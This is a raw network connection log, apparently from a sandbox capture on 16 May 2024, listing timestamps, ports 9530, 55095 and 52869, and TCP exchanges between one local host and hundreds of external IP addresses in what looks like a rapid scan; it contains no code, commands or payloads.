May 16, 2024 16:38:48.957920074 CEST	55095	9530	192.168.2.23	183.31.143.82
May 16, 2024 16:38:48.957926035 CEST	55095	9530	192.168.2.23	144.34.70.33
May 16, 2024 16:38:48.957927942 CEST	55095	9530	192.168.2.23	97.185.141.126
May 16, 2024 16:38:48.957947969 CEST	55095	9530	192.168.2.23	136.69.246.23
May 16, 2024 16:38:48.957952976 CEST	55095	9530	192.168.2.23	131.202.27.9
May 16, 2024 16:38:48.957954884 CEST	55095	9530	192.168.2.23	19.67.47.11
May 16, 2024 16:38:48.957954884 CEST	55095	9530	192.168.2.23	64.184.195.145
May 16, 2024 16:38:48.957954884 CEST	55095	9530	192.168.2.23	195.143.253.131
May 16, 2024 16:38:48.957962036 CEST	55095	9530	192.168.2.23	113.64.182.179
May 16, 2024 16:38:48.957962036 CEST	55095	9530	192.168.2.23	57.185.94.194
May 16, 2024 16:38:48.957964897 CEST	55095	9530	192.168.2.23	25.138.226.144
May 16, 2024 16:38:48.957983017 CEST	55095	9530	192.168.2.23	89.120.163.65
May 16, 2024 16:38:48.958010912 CEST	55095	9530	192.168.2.23	99.202.89.134
May 16, 2024 16:38:48.958044052 CEST	55095	9530	192.168.2.23	12.169.211.84
May 16, 2024 16:38:48.960845947 CEST	49148	52869	192.168.2.23	41.196.59.121
May 16, 2024 16:38:48.960953951 CEST	55496	52869	192.168.2.23	205.153.152.20
May 16, 2024 16:38:48.961826086 CEST	57694	52869	192.168.2.23	220.226.31.47
May 16, 2024 16:38:48.963072062 CEST	9530	55095	174.191.210.179	192.168.2.23
May 16, 2024 16:38:48.963083982 CEST	9530	55095	182.249.66.8	192.168.2.23
May 16, 2024 16:38:48.963093996 CEST	9530	55095	27.86.69.142	192.168.2.23
May 16, 2024 16:38:48.963104010 CEST	9530	55095	170.96.33.199	192.168.2.23
May 16, 2024 16:38:48.963113070 CEST	9530	55095	44.83.218.196	192.168.2.23
May 16, 2024 16:38:48.963114977 CEST	55095	9530	192.168.2.23	174.191.210.179
May 16, 2024 16:38:48.963121891 CEST	9530	55095	123.127.100.194	192.168.2.23
May 16, 2024 16:38:48.963131905 CEST	9530	55095	37.63.246.23	192.168.2.23
May 16, 2024 16:38:48.963140965 CEST	9530	55095	95.87.163.53	192.168.2.23
May 16, 2024 16:38:48.963140965 CEST	55095	9530	192.168.2.23	182.249.66.8
May 16, 2024 16:38:48.963148117 CEST	55095	9530	192.168.2.23	170.96.33.199
May 16, 2024 16:38:48.963149071 CEST	55095	9530	192.168.2.23	44.83.218.196
May 16, 2024 16:38:48.963150978 CEST	9530	55095	1.206.117.70	192.168.2.23
May 16, 2024 16:38:48.963160992 CEST	9530	55095	68.211.205.33	192.168.2.23
May 16, 2024 16:38:48.963162899 CEST	55095	9530	192.168.2.23	27.86.69.142
May 16, 2024 16:38:48.963171959 CEST	9530	55095	68.31.251.227	192.168.2.23
May 16, 2024 16:38:48.963181973 CEST	55095	9530	192.168.2.23	123.127.100.194
May 16, 2024 16:38:48.963182926 CEST	9530	55095	50.170.142.158	192.168.2.23
May 16, 2024 16:38:48.963192940 CEST	9530	55095	71.59.81.153	192.168.2.23
May 16, 2024 16:38:48.963196039 CEST	55095	9530	192.168.2.23	37.63.246.23
May 16, 2024 16:38:48.963196039 CEST	55095	9530	192.168.2.23	95.87.163.53
May 16, 2024 16:38:48.963202000 CEST	9530	55095	88.82.30.197	192.168.2.23
May 16, 2024 16:38:48.963202953 CEST	55095	9530	192.168.2.23	1.206.117.70
May 16, 2024 16:38:48.963202953 CEST	55095	9530	192.168.2.23	68.211.205.33
May 16, 2024 16:38:48.963206053 CEST	55095	9530	192.168.2.23	68.31.251.227
May 16, 2024 16:38:48.963206053 CEST	55095	9530	192.168.2.23	50.170.142.158
May 16, 2024 16:38:48.963212967 CEST	9530	55095	49.133.55.9	192.168.2.23
May 16, 2024 16:38:48.963222027 CEST	9530	55095	25.159.32.93	192.168.2.23
May 16, 2024 16:38:48.963224888 CEST	55095	9530	192.168.2.23	71.59.81.153
May 16, 2024 16:38:48.963232040 CEST	9530	55095	59.37.179.217	192.168.2.23
May 16, 2024 16:38:48.963242054 CEST	9530	55095	51.38.53.11	192.168.2.23
May 16, 2024 16:38:48.963244915 CEST	55095	9530	192.168.2.23	88.82.30.197
May 16, 2024 16:38:48.963244915 CEST	55095	9530	192.168.2.23	49.133.55.9
May 16, 2024 16:38:48.963251114 CEST	9530	55095	87.22.134.18	192.168.2.23
May 16, 2024 16:38:48.963259935 CEST	9530	55095	165.35.53.137	192.168.2.23
May 16, 2024 16:38:48.963263988 CEST	55095	9530	192.168.2.23	25.159.32.93
May 16, 2024 16:38:48.963263988 CEST	55095	9530	192.168.2.23	59.37.179.217
May 16, 2024 16:38:48.963268995 CEST	9530	55095	166.96.236.100	192.168.2.23
May 16, 2024 16:38:48.963274002 CEST	9530	55095	106.255.168.181	192.168.2.23
May 16, 2024 16:38:48.963284016 CEST	9530	55095	125.170.135.208	192.168.2.23
May 16, 2024 16:38:48.963294983 CEST	9530	55095	200.210.19.145	192.168.2.23
May 16, 2024 16:38:48.963304043 CEST	55095	9530	192.168.2.23	51.38.53.11
May 16, 2024 16:38:48.963309050 CEST	9530	55095	220.110.127.77	192.168.2.23
May 16, 2024 16:38:48.963310003 CEST	55095	9530	192.168.2.23	165.35.53.137
May 16, 2024 16:38:48.963319063 CEST	9530	55095	191.231.201.22	192.168.2.23
May 16, 2024 16:38:48.963320017 CEST	55095	9530	192.168.2.23	166.96.236.100
May 16, 2024 16:38:48.963320971 CEST	55095	9530	192.168.2.23	106.255.168.181
May 16, 2024 16:38:48.963320971 CEST	55095	9530	192.168.2.23	87.22.134.18
May 16, 2024 16:38:48.963321924 CEST	55095	9530	192.168.2.23	200.210.19.145
May 16, 2024 16:38:48.963323116 CEST	55095	9530	192.168.2.23	125.170.135.208
May 16, 2024 16:38:48.963330984 CEST	9530	55095	111.30.17.71	192.168.2.23
May 16, 2024 16:38:48.963340044 CEST	55095	9530	192.168.2.23	220.110.127.77
May 16, 2024 16:38:48.963341951 CEST	9530	55095	141.253.81.16	192.168.2.23
May 16, 2024 16:38:48.963345051 CEST	55095	9530	192.168.2.23	191.231.201.22
May 16, 2024 16:38:48.963351965 CEST	9530	55095	69.246.170.111	192.168.2.23
May 16, 2024 16:38:48.963360071 CEST	9530	55095	58.166.104.206	192.168.2.23
May 16, 2024 16:38:48.963368893 CEST	55095	9530	192.168.2.23	141.253.81.16
May 16, 2024 16:38:48.963370085 CEST	9530	55095	166.182.100.98	192.168.2.23
May 16, 2024 16:38:48.963371992 CEST	55095	9530	192.168.2.23	111.30.17.71
May 16, 2024 16:38:48.963371992 CEST	55095	9530	192.168.2.23	69.246.170.111
May 16, 2024 16:38:48.963381052 CEST	9530	55095	90.11.62.138	192.168.2.23
May 16, 2024 16:38:48.963392019 CEST	9530	55095	180.45.1.180	192.168.2.23
May 16, 2024 16:38:48.963398933 CEST	9530	55095	2.189.229.142	192.168.2.23
May 16, 2024 16:38:48.963407993 CEST	9530	55095	17.53.91.118	192.168.2.23
May 16, 2024 16:38:48.963417053 CEST	9530	55095	122.101.176.241	192.168.2.23
May 16, 2024 16:38:48.963426113 CEST	9530	55095	219.23.194.107	192.168.2.23
May 16, 2024 16:38:48.963430882 CEST	55095	9530	192.168.2.23	58.166.104.206
May 16, 2024 16:38:48.963432074 CEST	55095	9530	192.168.2.23	166.182.100.98
May 16, 2024 16:38:48.963433027 CEST	55095	9530	192.168.2.23	90.11.62.138
May 16, 2024 16:38:48.963433027 CEST	55095	9530	192.168.2.23	180.45.1.180
May 16, 2024 16:38:48.963433027 CEST	55095	9530	192.168.2.23	2.189.229.142
May 16, 2024 16:38:48.963435888 CEST	9530	55095	44.43.153.209	192.168.2.23
May 16, 2024 16:38:48.963442087 CEST	55095	9530	192.168.2.23	17.53.91.118
May 16, 2024 16:38:48.963444948 CEST	9530	55095	48.87.145.43	192.168.2.23
May 16, 2024 16:38:48.963454962 CEST	9530	55095	134.40.40.7	192.168.2.23
May 16, 2024 16:38:48.963455915 CEST	55095	9530	192.168.2.23	122.101.176.241
May 16, 2024 16:38:48.963455915 CEST	55095	9530	192.168.2.23	219.23.194.107
May 16, 2024 16:38:48.963455915 CEST	55095	9530	192.168.2.23	44.43.153.209
May 16, 2024 16:38:48.963464022 CEST	9530	55095	91.99.181.33	192.168.2.23
May 16, 2024 16:38:48.963464975 CEST	55095	9530	192.168.2.23	48.87.145.43
May 16, 2024 16:38:48.963474035 CEST	55095	9530	192.168.2.23	134.40.40.7
May 16, 2024 16:38:48.963498116 CEST	55095	9530	192.168.2.23	91.99.181.33
May 16, 2024 16:38:48.968465090 CEST	9530	55095	209.192.158.81	192.168.2.23
May 16, 2024 16:38:48.968477011 CEST	9530	55095	189.50.225.145	192.168.2.23
May 16, 2024 16:38:48.968487024 CEST	9530	55095	108.248.131.189	192.168.2.23
May 16, 2024 16:38:48.968496084 CEST	9530	55095	51.25.153.8	192.168.2.23
May 16, 2024 16:38:48.968506098 CEST	55095	9530	192.168.2.23	209.192.158.81
May 16, 2024 16:38:48.968506098 CEST	55095	9530	192.168.2.23	189.50.225.145
May 16, 2024 16:38:48.968508005 CEST	9530	55095	118.28.152.76	192.168.2.23
May 16, 2024 16:38:48.968518019 CEST	9530	55095	88.18.157.167	192.168.2.23
May 16, 2024 16:38:48.968518972 CEST	55095	9530	192.168.2.23	108.248.131.189
May 16, 2024 16:38:48.968527079 CEST	9530	55095	25.228.189.196	192.168.2.23
May 16, 2024 16:38:48.968529940 CEST	55095	9530	192.168.2.23	51.25.153.8
May 16, 2024 16:38:48.968534946 CEST	55095	9530	192.168.2.23	118.28.152.76
May 16, 2024 16:38:48.968535900 CEST	9530	55095	210.226.250.68	192.168.2.23
May 16, 2024 16:38:48.968542099 CEST	55095	9530	192.168.2.23	88.18.157.167
May 16, 2024 16:38:48.968544960 CEST	9530	55095	164.42.185.231	192.168.2.23
May 16, 2024 16:38:48.968556881 CEST	9530	55095	42.74.203.213	192.168.2.23
May 16, 2024 16:38:48.968561888 CEST	55095	9530	192.168.2.23	25.228.189.196
May 16, 2024 16:38:48.968565941 CEST	9530	55095	23.55.32.173	192.168.2.23
May 16, 2024 16:38:48.968575954 CEST	55095	9530	192.168.2.23	164.42.185.231
May 16, 2024 16:38:48.968576908 CEST	9530	55095	64.130.69.211	192.168.2.23
May 16, 2024 16:38:48.968586922 CEST	9530	55095	139.34.246.220	192.168.2.23
May 16, 2024 16:38:48.968597889 CEST	55095	9530	192.168.2.23	23.55.32.173
May 16, 2024 16:38:48.968597889 CEST	55095	9530	192.168.2.23	210.226.250.68
May 16, 2024 16:38:48.968597889 CEST	55095	9530	192.168.2.23	42.74.203.213
May 16, 2024 16:38:48.968599081 CEST	9530	55095	180.134.95.23	192.168.2.23
May 16, 2024 16:38:48.968605042 CEST	55095	9530	192.168.2.23	139.34.246.220
May 16, 2024 16:38:48.968610048 CEST	9530	55095	98.196.127.49	192.168.2.23
May 16, 2024 16:38:48.968617916 CEST	9530	55095	75.145.25.235	192.168.2.23
May 16, 2024 16:38:48.968627930 CEST	9530	55095	212.84.11.70	192.168.2.23
May 16, 2024 16:38:48.968631983 CEST	55095	9530	192.168.2.23	180.134.95.23
May 16, 2024 16:38:48.968636990 CEST	9530	55095	62.28.162.69	192.168.2.23
May 16, 2024 16:38:48.968641043 CEST	9530	55095	12.89.124.15	192.168.2.23
May 16, 2024 16:38:48.968641996 CEST	55095	9530	192.168.2.23	98.196.127.49
May 16, 2024 16:38:48.968641996 CEST	55095	9530	192.168.2.23	64.130.69.211
May 16, 2024 16:38:48.968650103 CEST	9530	55095	144.2.100.84	192.168.2.23
May 16, 2024 16:38:48.968657970 CEST	9530	55095	104.176.180.175	192.168.2.23
May 16, 2024 16:38:48.968662024 CEST	9530	55095	165.188.60.115	192.168.2.23
May 16, 2024 16:38:48.968662977 CEST	55095	9530	192.168.2.23	75.145.25.235
May 16, 2024 16:38:48.968663931 CEST	55095	9530	192.168.2.23	212.84.11.70
May 16, 2024 16:38:48.968663931 CEST	55095	9530	192.168.2.23	62.28.162.69
May 16, 2024 16:38:48.968663931 CEST	55095	9530	192.168.2.23	12.89.124.15
May 16, 2024 16:38:48.968671083 CEST	9530	55095	74.114.34.50	192.168.2.23
May 16, 2024 16:38:48.968679905 CEST	9530	55095	138.73.207.43	192.168.2.23
May 16, 2024 16:38:48.968688011 CEST	55095	9530	192.168.2.23	144.2.100.84
May 16, 2024 16:38:48.968688011 CEST	55095	9530	192.168.2.23	165.188.60.115
May 16, 2024 16:38:48.968688965 CEST	55095	9530	192.168.2.23	104.176.180.175
May 16, 2024 16:38:48.968689919 CEST	9530	55095	96.235.192.5	192.168.2.23
May 16, 2024 16:38:48.968689919 CEST	55095	9530	192.168.2.23	74.114.34.50
May 16, 2024 16:38:48.968699932 CEST	9530	55095	153.185.203.205	192.168.2.23
May 16, 2024 16:38:48.968708992 CEST	55095	9530	192.168.2.23	138.73.207.43
May 16, 2024 16:38:48.968709946 CEST	9530	55095	78.17.170.138	192.168.2.23
May 16, 2024 16:38:48.968718052 CEST	9530	55095	211.196.228.119	192.168.2.23
May 16, 2024 16:38:48.968719959 CEST	55095	9530	192.168.2.23	96.235.192.5
May 16, 2024 16:38:48.968728065 CEST	9530	55095	206.88.2.100	192.168.2.23
May 16, 2024 16:38:48.968736887 CEST	9530	55095	39.113.152.195	192.168.2.23
May 16, 2024 16:38:48.968738079 CEST	55095	9530	192.168.2.23	153.185.203.205
May 16, 2024 16:38:48.968739986 CEST	55095	9530	192.168.2.23	78.17.170.138
May 16, 2024 16:38:48.968744993 CEST	9530	55095	137.116.154.180	192.168.2.23
May 16, 2024 16:38:48.968751907 CEST	55095	9530	192.168.2.23	211.196.228.119
May 16, 2024 16:38:48.968754053 CEST	9530	55095	116.104.75.239	192.168.2.23
May 16, 2024 16:38:48.968755960 CEST	55095	9530	192.168.2.23	206.88.2.100
May 16, 2024 16:38:48.968763113 CEST	55095	9530	192.168.2.23	137.116.154.180
May 16, 2024 16:38:48.968764067 CEST	9530	55095	192.76.142.91	192.168.2.23
May 16, 2024 16:38:48.968764067 CEST	55095	9530	192.168.2.23	39.113.152.195
May 16, 2024 16:38:48.968772888 CEST	9530	55095	111.152.55.176	192.168.2.23
May 16, 2024 16:38:48.968780994 CEST	9530	55095	1.243.144.42	192.168.2.23
May 16, 2024 16:38:48.968785048 CEST	55095	9530	192.168.2.23	116.104.75.239
May 16, 2024 16:38:48.968790054 CEST	9530	55095	123.196.124.223	192.168.2.23
May 16, 2024 16:38:48.968791962 CEST	55095	9530	192.168.2.23	111.152.55.176
May 16, 2024 16:38:48.968796015 CEST	55095	9530	192.168.2.23	192.76.142.91
May 16, 2024 16:38:48.968799114 CEST	9530	55095	219.170.138.221	192.168.2.23
May 16, 2024 16:38:48.968807936 CEST	9530	55095	157.224.32.132	192.168.2.23
May 16, 2024 16:38:48.968811989 CEST	55095	9530	192.168.2.23	1.243.144.42
May 16, 2024 16:38:48.968817949 CEST	9530	55095	146.43.115.96	192.168.2.23
May 16, 2024 16:38:48.968818903 CEST	55095	9530	192.168.2.23	123.196.124.223
May 16, 2024 16:38:48.968821049 CEST	55095	9530	192.168.2.23	219.170.138.221
May 16, 2024 16:38:48.968827963 CEST	9530	55095	68.0.247.112	192.168.2.23
May 16, 2024 16:38:48.968835115 CEST	55095	9530	192.168.2.23	157.224.32.132
May 16, 2024 16:38:48.968837023 CEST	9530	55095	185.217.17.172	192.168.2.23
May 16, 2024 16:38:48.968846083 CEST	55095	9530	192.168.2.23	146.43.115.96
May 16, 2024 16:38:48.968856096 CEST	55095	9530	192.168.2.23	68.0.247.112
May 16, 2024 16:38:48.968862057 CEST	55095	9530	192.168.2.23	185.217.17.172
May 16, 2024 16:38:48.973870039 CEST	9530	55095	88.188.52.109	192.168.2.23
May 16, 2024 16:38:48.973881960 CEST	9530	55095	160.23.233.77	192.168.2.23
May 16, 2024 16:38:48.973890066 CEST	9530	55095	193.200.219.111	192.168.2.23
May 16, 2024 16:38:48.973901033 CEST	9530	55095	113.120.112.251	192.168.2.23
May 16, 2024 16:38:48.973917961 CEST	9530	55095	187.212.194.135	192.168.2.23
May 16, 2024 16:38:48.973922014 CEST	55095	9530	192.168.2.23	88.188.52.109
May 16, 2024 16:38:48.973926067 CEST	55095	9530	192.168.2.23	160.23.233.77
May 16, 2024 16:38:48.973926067 CEST	55095	9530	192.168.2.23	193.200.219.111
May 16, 2024 16:38:48.973927975 CEST	9530	55095	163.208.214.47	192.168.2.23
May 16, 2024 16:38:48.973937035 CEST	55095	9530	192.168.2.23	113.120.112.251
May 16, 2024 16:38:48.973938942 CEST	9530	55095	137.159.175.127	192.168.2.23
May 16, 2024 16:38:48.973948002 CEST	55095	9530	192.168.2.23	187.212.194.135
May 16, 2024 16:38:48.973948956 CEST	9530	55095	46.47.170.4	192.168.2.23
May 16, 2024 16:38:48.973957062 CEST	55095	9530	192.168.2.23	163.208.214.47
May 16, 2024 16:38:48.973958969 CEST	9530	55095	69.134.101.142	192.168.2.23
May 16, 2024 16:38:48.973969936 CEST	55095	9530	192.168.2.23	137.159.175.127
May 16, 2024 16:38:48.973970890 CEST	9530	55095	115.192.191.164	192.168.2.23
May 16, 2024 16:38:48.973982096 CEST	9530	55095	58.214.120.25	192.168.2.23
May 16, 2024 16:38:48.973989010 CEST	55095	9530	192.168.2.23	46.47.170.4
May 16, 2024 16:38:48.973990917 CEST	9530	55095	172.60.218.221	192.168.2.23
May 16, 2024 16:38:48.973990917 CEST	55095	9530	192.168.2.23	69.134.101.142
May 16, 2024 16:38:48.973999023 CEST	55095	9530	192.168.2.23	115.192.191.164
May 16, 2024 16:38:48.974000931 CEST	9530	55095	135.38.141.117	192.168.2.23
May 16, 2024 16:38:48.974005938 CEST	55095	9530	192.168.2.23	58.214.120.25
May 16, 2024 16:38:48.974014997 CEST	9530	55095	85.105.55.6	192.168.2.23
May 16, 2024 16:38:48.974019051 CEST	55095	9530	192.168.2.23	172.60.218.221
May 16, 2024 16:38:48.974026918 CEST	9530	55095	133.4.174.181	192.168.2.23
May 16, 2024 16:38:48.974035978 CEST	9530	55095	152.54.81.248	192.168.2.23
May 16, 2024 16:38:48.974044085 CEST	55095	9530	192.168.2.23	85.105.55.6
May 16, 2024 16:38:48.974045038 CEST	9530	55095	70.240.183.192	192.168.2.23
May 16, 2024 16:38:48.974056005 CEST	9530	55095	117.154.113.100	192.168.2.23
May 16, 2024 16:38:48.974061012 CEST	55095	9530	192.168.2.23	135.38.141.117
May 16, 2024 16:38:48.974061012 CEST	55095	9530	192.168.2.23	152.54.81.248
May 16, 2024 16:38:48.974064112 CEST	55095	9530	192.168.2.23	133.4.174.181
May 16, 2024 16:38:48.974065065 CEST	9530	55095	152.141.42.7	192.168.2.23
May 16, 2024 16:38:48.974075079 CEST	9530	55095	157.223.122.213	192.168.2.23
May 16, 2024 16:38:48.974083900 CEST	9530	55095	51.94.230.239	192.168.2.23
May 16, 2024 16:38:48.974085093 CEST	55095	9530	192.168.2.23	117.154.113.100
May 16, 2024 16:38:48.974087954 CEST	55095	9530	192.168.2.23	152.141.42.7
May 16, 2024 16:38:48.974098921 CEST	9530	55095	42.50.100.73	192.168.2.23
May 16, 2024 16:38:48.974100113 CEST	55095	9530	192.168.2.23	70.240.183.192
May 16, 2024 16:38:48.974107027 CEST	55095	9530	192.168.2.23	157.223.122.213
May 16, 2024 16:38:48.974108934 CEST	9530	55095	66.194.109.76	192.168.2.23
May 16, 2024 16:38:48.974117994 CEST	9530	55095	139.6.235.15	192.168.2.23
May 16, 2024 16:38:48.974123001 CEST	55095	9530	192.168.2.23	42.50.100.73
May 16, 2024 16:38:48.974124908 CEST	55095	9530	192.168.2.23	51.94.230.239
May 16, 2024 16:38:48.974129915 CEST	9530	55095	149.33.106.9	192.168.2.23
May 16, 2024 16:38:48.974139929 CEST	9530	55095	70.149.42.211	192.168.2.23
May 16, 2024 16:38:48.974140882 CEST	55095	9530	192.168.2.23	139.6.235.15
May 16, 2024 16:38:48.974142075 CEST	55095	9530	192.168.2.23	66.194.109.76
May 16, 2024 16:38:48.974148989 CEST	9530	55095	104.209.85.217	192.168.2.23
May 16, 2024 16:38:48.974158049 CEST	9530	55095	208.148.34.105	192.168.2.23
May 16, 2024 16:38:48.974162102 CEST	55095	9530	192.168.2.23	149.33.106.9
May 16, 2024 16:38:48.974169016 CEST	9530	55095	140.243.90.255	192.168.2.23
May 16, 2024 16:38:48.974175930 CEST	55095	9530	192.168.2.23	70.149.42.211
May 16, 2024 16:38:48.974176884 CEST	9530	55095	54.19.247.91	192.168.2.23
May 16, 2024 16:38:48.974180937 CEST	55095	9530	192.168.2.23	104.209.85.217
May 16, 2024 16:38:48.974180937 CEST	9530	55095	146.11.26.109	192.168.2.23
May 16, 2024 16:38:48.974191904 CEST	9530	55095	188.121.40.157	192.168.2.23
May 16, 2024 16:38:48.974193096 CEST	55095	9530	192.168.2.23	208.148.34.105
May 16, 2024 16:38:48.974195957 CEST	55095	9530	192.168.2.23	54.19.247.91
May 16, 2024 16:38:48.974200964 CEST	9530	55095	51.143.186.98	192.168.2.23
May 16, 2024 16:38:48.974209070 CEST	55095	9530	192.168.2.23	146.11.26.109
May 16, 2024 16:38:48.974210978 CEST	9530	55095	117.91.22.98	192.168.2.23
May 16, 2024 16:38:48.974219084 CEST	55095	9530	192.168.2.23	188.121.40.157
May 16, 2024 16:38:48.974220991 CEST	9530	55095	196.150.180.52	192.168.2.23
May 16, 2024 16:38:48.974226952 CEST	55095	9530	192.168.2.23	51.143.186.98
May 16, 2024 16:38:48.974231005 CEST	9530	55095	77.100.89.199	192.168.2.23
May 16, 2024 16:38:48.974240065 CEST	55095	9530	192.168.2.23	140.243.90.255
May 16, 2024 16:38:48.974240065 CEST	55095	9530	192.168.2.23	117.91.22.98
May 16, 2024 16:38:48.974251032 CEST	9530	55095	75.240.172.127	192.168.2.23
May 16, 2024 16:38:48.974260092 CEST	9530	55095	54.78.74.192	192.168.2.23
May 16, 2024 16:38:48.974261045 CEST	55095	9530	192.168.2.23	196.150.180.52
May 16, 2024 16:38:48.974262953 CEST	55095	9530	192.168.2.23	77.100.89.199
May 16, 2024 16:38:48.974267960 CEST	9530	55095	143.116.223.25	192.168.2.23
May 16, 2024 16:38:48.974278927 CEST	9530	55095	19.121.127.227	192.168.2.23
May 16, 2024 16:38:48.974287987 CEST	9530	55095	171.220.19.35	192.168.2.23
May 16, 2024 16:38:48.974287987 CEST	55095	9530	192.168.2.23	54.78.74.192
May 16, 2024 16:38:48.974288940 CEST	55095	9530	192.168.2.23	75.240.172.127
May 16, 2024 16:38:48.974294901 CEST	55095	9530	192.168.2.23	19.121.127.227
May 16, 2024 16:38:48.974309921 CEST	55095	9530	192.168.2.23	143.116.223.25
May 16, 2024 16:38:48.974318981 CEST	55095	9530	192.168.2.23	171.220.19.35
May 16, 2024 16:38:48.979319096 CEST	9530	55095	167.70.48.246	192.168.2.23
May 16, 2024 16:38:48.979332924 CEST	9530	55095	138.11.12.113	192.168.2.23
May 16, 2024 16:38:48.979342937 CEST	9530	55095	207.101.121.100	192.168.2.23
May 16, 2024 16:38:48.979352951 CEST	9530	55095	200.106.3.150	192.168.2.23
May 16, 2024 16:38:48.979355097 CEST	55095	9530	192.168.2.23	167.70.48.246
May 16, 2024 16:38:48.979365110 CEST	9530	55095	108.37.161.79	192.168.2.23
May 16, 2024 16:38:48.979371071 CEST	55095	9530	192.168.2.23	138.11.12.113
May 16, 2024 16:38:48.979376078 CEST	9530	55095	34.94.146.45	192.168.2.23
May 16, 2024 16:38:48.979376078 CEST	55095	9530	192.168.2.23	207.101.121.100
May 16, 2024 16:38:48.979386091 CEST	9530	55095	34.146.176.220	192.168.2.23
May 16, 2024 16:38:48.979396105 CEST	9530	55095	161.105.173.83	192.168.2.23
May 16, 2024 16:38:48.979396105 CEST	55095	9530	192.168.2.23	108.37.161.79
May 16, 2024 16:38:48.979397058 CEST	55095	9530	192.168.2.23	200.106.3.150
May 16, 2024 16:38:48.979402065 CEST	55095	9530	192.168.2.23	34.94.146.45
May 16, 2024 16:38:48.979406118 CEST	9530	55095	169.230.248.164	192.168.2.23
May 16, 2024 16:38:48.979414940 CEST	55095	9530	192.168.2.23	34.146.176.220
May 16, 2024 16:38:48.979418039 CEST	9530	55095	75.211.98.75	192.168.2.23
May 16, 2024 16:38:48.979429007 CEST	9530	55095	81.60.116.45	192.168.2.23
May 16, 2024 16:38:48.979432106 CEST	55095	9530	192.168.2.23	161.105.173.83
May 16, 2024 16:38:48.979434967 CEST	55095	9530	192.168.2.23	169.230.248.164
May 16, 2024 16:38:48.979440928 CEST	9530	55095	185.243.34.178	192.168.2.23
May 16, 2024 16:38:48.979450941 CEST	55095	9530	192.168.2.23	75.211.98.75
May 16, 2024 16:38:48.979451895 CEST	9530	55095	220.227.103.187	192.168.2.23
May 16, 2024 16:38:48.979461908 CEST	9530	55095	71.225.38.125	192.168.2.23
May 16, 2024 16:38:48.979465961 CEST	55095	9530	192.168.2.23	81.60.116.45
May 16, 2024 16:38:48.979471922 CEST	9530	55095	84.124.106.241	192.168.2.23
May 16, 2024 16:38:48.979475975 CEST	55095	9530	192.168.2.23	185.243.34.178
May 16, 2024 16:38:48.979481936 CEST	55095	9530	192.168.2.23	220.227.103.187
May 16, 2024 16:38:48.979482889 CEST	9530	55095	175.42.19.7	192.168.2.23
May 16, 2024 16:38:48.979490995 CEST	55095	9530	192.168.2.23	71.225.38.125
May 16, 2024 16:38:48.979495049 CEST	9530	55095	164.43.11.227	192.168.2.23
May 16, 2024 16:38:48.979501963 CEST	55095	9530	192.168.2.23	84.124.106.241
May 16, 2024 16:38:48.979505062 CEST	9530	55095	69.81.183.255	192.168.2.23
May 16, 2024 16:38:48.979516029 CEST	55095	9530	192.168.2.23	175.42.19.7
May 16, 2024 16:38:48.979516029 CEST	9530	55095	210.250.81.75	192.168.2.23
May 16, 2024 16:38:48.979535103 CEST	9530	55095	180.45.104.148	192.168.2.23
May 16, 2024 16:38:48.979538918 CEST	55095	9530	192.168.2.23	69.81.183.255
May 16, 2024 16:38:48.979542017 CEST	55095	9530	192.168.2.23	164.43.11.227
May 16, 2024 16:38:48.979546070 CEST	9530	55095	121.88.55.40	192.168.2.23
May 16, 2024 16:38:48.979551077 CEST	55095	9530	192.168.2.23	210.250.81.75
May 16, 2024 16:38:48.979557037 CEST	9530	55095	205.66.99.245	192.168.2.23
May 16, 2024 16:38:48.979568958 CEST	55095	9530	192.168.2.23	180.45.104.148
May 16, 2024 16:38:48.979568958 CEST	9530	55095	173.216.51.58	192.168.2.23
May 16, 2024 16:38:48.979572058 CEST	55095	9530	192.168.2.23	121.88.55.40
May 16, 2024 16:38:48.979582071 CEST	9530	55095	46.154.88.79	192.168.2.23
May 16, 2024 16:38:48.979589939 CEST	55095	9530	192.168.2.23	205.66.99.245
May 16, 2024 16:38:48.979593039 CEST	9530	55095	135.74.158.161	192.168.2.23
May 16, 2024 16:38:48.979604959 CEST	9530	55095	150.3.217.191	192.168.2.23
May 16, 2024 16:38:48.979608059 CEST	55095	9530	192.168.2.23	173.216.51.58
May 16, 2024 16:38:48.979609013 CEST	55095	9530	192.168.2.23	46.154.88.79
May 16, 2024 16:38:48.979615927 CEST	9530	55095	136.175.136.238	192.168.2.23
May 16, 2024 16:38:48.979626894 CEST	9530	55095	146.6.234.30	192.168.2.23
May 16, 2024 16:38:48.979638100 CEST	9530	55095	74.76.131.174	192.168.2.23
May 16, 2024 16:38:48.979646921 CEST	9530	55095	100.10.104.54	192.168.2.23
May 16, 2024 16:38:48.979657888 CEST	9530	55095	206.193.55.250	192.168.2.23
May 16, 2024 16:38:48.979659081 CEST	55095	9530	192.168.2.23	146.6.234.30
May 16, 2024 16:38:48.979659081 CEST	55095	9530	192.168.2.23	74.76.131.174
May 16, 2024 16:38:48.979667902 CEST	9530	55095	189.144.188.237	192.168.2.23
May 16, 2024 16:38:48.979677916 CEST	9530	55095	71.167.100.229	192.168.2.23
May 16, 2024 16:38:48.979686975 CEST	55095	9530	192.168.2.23	100.10.104.54
May 16, 2024 16:38:48.979687929 CEST	55095	9530	192.168.2.23	206.193.55.250
May 16, 2024 16:38:48.979688883 CEST	9530	55095	209.221.119.232	192.168.2.23
May 16, 2024 16:38:48.979701042 CEST	9530	55095	202.102.248.32	192.168.2.23
May 16, 2024 16:38:48.979703903 CEST	55095	9530	192.168.2.23	136.175.136.238
May 16, 2024 16:38:48.979707003 CEST	55095	9530	192.168.2.23	135.74.158.161
May 16, 2024 16:38:48.979707003 CEST	55095	9530	192.168.2.23	189.144.188.237
May 16, 2024 16:38:48.979711056 CEST	55095	9530	192.168.2.23	150.3.217.191
May 16, 2024 16:38:48.979711056 CEST	55095	9530	192.168.2.23	71.167.100.229
May 16, 2024 16:38:48.979712009 CEST	9530	55095	217.65.125.250	192.168.2.23
May 16, 2024 16:38:48.979712963 CEST	55095	9530	192.168.2.23	209.221.119.232
May 16, 2024 16:38:48.979729891 CEST	9530	55095	118.113.8.229	192.168.2.23
May 16, 2024 16:38:48.979736090 CEST	55095	9530	192.168.2.23	217.65.125.250
May 16, 2024 16:38:48.979737043 CEST	55095	9530	192.168.2.23	202.102.248.32
May 16, 2024 16:38:48.979741096 CEST	9530	55095	123.190.199.86	192.168.2.23
May 16, 2024 16:38:48.979751110 CEST	9530	55095	96.204.100.176	192.168.2.23
May 16, 2024 16:38:48.979762077 CEST	9530	55095	185.174.151.37	192.168.2.23
May 16, 2024 16:38:48.979768038 CEST	55095	9530	192.168.2.23	118.113.8.229
